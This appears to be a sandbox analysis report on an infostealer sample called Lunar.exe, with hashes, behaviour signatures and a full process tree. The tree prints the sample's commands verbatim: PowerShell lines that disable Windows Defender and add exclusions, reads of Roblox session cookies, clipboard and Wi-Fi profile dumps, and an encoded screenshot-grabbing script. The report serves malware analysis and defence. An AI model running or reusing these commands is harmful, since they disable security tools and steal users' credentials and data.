Analysis

  • max time kernel
    138s
  • max time network
    107s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01-06-2024 13:40

General

  • Target

    Lunar.exe

  • Size

    7.4MB

  • MD5

    0440d83abe7fc137d4d84cfa898b0ad6

  • SHA1

    a65a5b1c2e4857caabac6ec807b7bafc703b853e

  • SHA256

    ff3dc906d1b5b35c7aede0734ff89fd262433bc9ac208f5b19239912b5b503ef

  • SHA512

    3491726720d68b5533fca3dc6d71f4a9a809e33485dd408317d7f4b3816aa9808e7c79f3b88df10f4fc5ce79eb9fa5f627b68ea96408429367f9fd9f62f856b8

  • SSDEEP

    196608:BreJYS6jpOshoKMuIkhVastRL5Di3uh1D7JC:mYS4OshouIkPftRL54YRJC

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Drops file in Drivers directory 3 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 17 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • UPX packed file 59 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Detects videocard installed 1 TTPs 3 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Enumerates processes with tasklist 1 TTPs 5 IoCs
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
  • Modifies registry class 5 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 28 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Lunar.exe
    "C:\Users\Admin\AppData\Local\Temp\Lunar.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4556
    • C:\Users\Admin\AppData\Local\Temp\Lunar.exe
      "C:\Users\Admin\AppData\Local\Temp\Lunar.exe"
      2⤵
      • Drops file in Drivers directory
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:4532
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Lunar.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2264
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Lunar.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4996
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3496
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4220
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Ask For The New Version! (Lunar Updated)', 0, 'Error 404', 0+16);close()""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3316
        • C:\Windows\system32\mshta.exe
          mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Ask For The New Version! (Lunar Updated)', 0, 'Error 404', 0+16);close()"
          4⤵
            PID:1892
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:224
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:2368
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4664
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic csproduct get uuid
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1064
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2816
          • C:\Windows\system32\reg.exe
            REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
            4⤵
              PID:4404
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:3356
            • C:\Windows\system32\reg.exe
              REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
              4⤵
                PID:760
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4040
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic path win32_VideoController get name
                4⤵
                • Detects videocard installed
                • Suspicious use of AdjustPrivilegeToken
                PID:1616
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:736
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic path win32_VideoController get name
                4⤵
                • Detects videocard installed
                PID:3168
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\Lunar.exe""
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:412
              • C:\Windows\system32\attrib.exe
                attrib +h +s "C:\Users\Admin\AppData\Local\Temp\Lunar.exe"
                4⤵
                • Views/modifies file attributes
                PID:2716
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‍ ‎  .scr'"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4376
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‍ ‎  .scr'
                4⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:3360
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1964
              • C:\Windows\system32\tasklist.exe
                tasklist /FO LIST
                4⤵
                • Enumerates processes with tasklist
                PID:1960
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4340
              • C:\Windows\system32\tasklist.exe
                tasklist /FO LIST
                4⤵
                • Enumerates processes with tasklist
                PID:4428
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
              3⤵
                PID:3544
                • C:\Windows\System32\Wbem\WMIC.exe
                  WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
                  4⤵
                    PID:1908
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
                  3⤵
                    PID:3816
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell Get-Clipboard
                      4⤵
                      • Suspicious behavior: EnumeratesProcesses
                      PID:1144
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                    3⤵
                      PID:4572
                      • C:\Windows\system32\tree.com
                        tree /A /F
                        4⤵
                          PID:4512
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                        3⤵
                          PID:2192
                          • C:\Windows\system32\tasklist.exe
                            tasklist /FO LIST
                            4⤵
                            • Enumerates processes with tasklist
                            PID:1708
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
                          3⤵
                            PID:1064
                            • C:\Windows\system32\netsh.exe
                              netsh wlan show profile
                              4⤵
                                PID:4776
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c "systeminfo"
                              3⤵
                                PID:4716
                                • C:\Windows\system32\systeminfo.exe
                                  systeminfo
                                  4⤵
                                  • Gathers system information
                                  PID:3796
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
                                3⤵
                                  PID:228
                                  • C:\Windows\system32\reg.exe
                                    REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
                                    4⤵
                                      PID:940
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
                                    3⤵
                                      PID:2884
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                                        4⤵
                                        • Command and Scripting Interpreter: PowerShell
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:4604
                                        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kdg04l1i\kdg04l1i.cmdline"
                                          5⤵
                                            PID:1608
                                            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES64F4.tmp" "c:\Users\Admin\AppData\Local\Temp\kdg04l1i\CSC87C213146C6D46FE8D631E393C5ECA4.TMP"
                                              6⤵
                                                PID:2156
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c "tree /A /F"
                                          3⤵
                                            PID:4860
                                            • C:\Windows\system32\tree.com
                                              tree /A /F
                                              4⤵
                                                PID:2336
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                              3⤵
                                                PID:1596
                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                  powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                  4⤵
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  PID:3336
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
                                                3⤵
                                                  PID:3824
                                                  • C:\Windows\system32\attrib.exe
                                                    attrib -r C:\Windows\System32\drivers\etc\hosts
                                                    4⤵
                                                    • Drops file in Drivers directory
                                                    • Views/modifies file attributes
                                                    PID:1372
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                  3⤵
                                                    PID:3552
                                                    • C:\Windows\system32\tree.com
                                                      tree /A /F
                                                      4⤵
                                                        PID:4952
                                                    • C:\Windows\system32\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
                                                      3⤵
                                                        PID:1356
                                                        • C:\Windows\system32\attrib.exe
                                                          attrib +r C:\Windows\System32\drivers\etc\hosts
                                                          4⤵
                                                          • Drops file in Drivers directory
                                                          • Views/modifies file attributes
                                                          PID:1792
                                                      • C:\Windows\system32\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                        3⤵
                                                          PID:1564
                                                          • C:\Windows\System32\Conhost.exe
                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                            4⤵
                                                              PID:2816
                                                            • C:\Windows\system32\tree.com
                                                              tree /A /F
                                                              4⤵
                                                                PID:940
                                                            • C:\Windows\system32\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                              3⤵
                                                                PID:1984
                                                                • C:\Windows\system32\tasklist.exe
                                                                  tasklist /FO LIST
                                                                  4⤵
                                                                  • Enumerates processes with tasklist
                                                                  PID:4984
                                                              • C:\Windows\system32\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                3⤵
                                                                  PID:736
                                                                  • C:\Windows\system32\tree.com
                                                                    tree /A /F
                                                                    4⤵
                                                                      PID:2464
                                                                  • C:\Windows\system32\cmd.exe
                                                                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                    3⤵
                                                                      PID:3312
                                                                      • C:\Windows\system32\tree.com
                                                                        tree /A /F
                                                                        4⤵
                                                                          PID:3184
                                                                      • C:\Windows\system32\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                                        3⤵
                                                                          PID:2168
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                            4⤵
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            PID:2596
                                                                        • C:\Windows\system32\cmd.exe
                                                                          C:\Windows\system32\cmd.exe /c "getmac"
                                                                          3⤵
                                                                            PID:3748
                                                                            • C:\Windows\system32\getmac.exe
                                                                              getmac
                                                                              4⤵
                                                                                PID:3776
                                                                            • C:\Windows\system32\cmd.exe
                                                                              C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI45562\rar.exe a -r -hp"9999" "C:\Users\Admin\AppData\Local\Temp\1aCIl.zip" *"
                                                                              3⤵
                                                                                PID:2588
                                                                                • C:\Users\Admin\AppData\Local\Temp\_MEI45562\rar.exe
                                                                                  C:\Users\Admin\AppData\Local\Temp\_MEI45562\rar.exe a -r -hp"9999" "C:\Users\Admin\AppData\Local\Temp\1aCIl.zip" *
                                                                                  4⤵
                                                                                  • Executes dropped EXE
                                                                                  PID:4004
                                                                              • C:\Windows\system32\cmd.exe
                                                                                C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                                                                                3⤵
                                                                                  PID:1960
                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                    wmic os get Caption
                                                                                    4⤵
                                                                                      PID:4584
                                                                                  • C:\Windows\system32\cmd.exe
                                                                                    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                                                                    3⤵
